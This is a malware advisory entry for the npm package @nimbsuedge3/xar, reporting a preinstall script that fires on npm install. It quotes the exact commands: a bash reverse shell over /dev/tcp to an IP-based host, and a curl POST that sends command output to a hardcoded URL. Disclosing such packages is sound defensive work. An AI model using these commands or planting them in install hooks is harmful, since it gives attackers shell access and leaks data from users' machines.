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Malicious MAL-2026-16301

@nimbsuedge3/xar

npm package · versions 1.1.1

Reported Sep 21, 2026 · Updated Sep 21, 2026

If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

Source: amazon-inspector (85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf)
package.json declares a preinstall lifecycle script that runs `bash -i >& /dev/tcp/147.93.157.202.nip.io/8080` to open an interactive reverse shell to a bare-IP host wrapped via nip.io, and pipes shell output through `curl -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` as an out-of-band exfiltration beacon. Both actions fire automatically on `npm install`, giving the operator of 147.93.157.202:8080 interactive shell access on the installer's host and shipping command output to the hardcoded canarytokens.com URL. The package ships no legitimate functionality consistent with this behavior.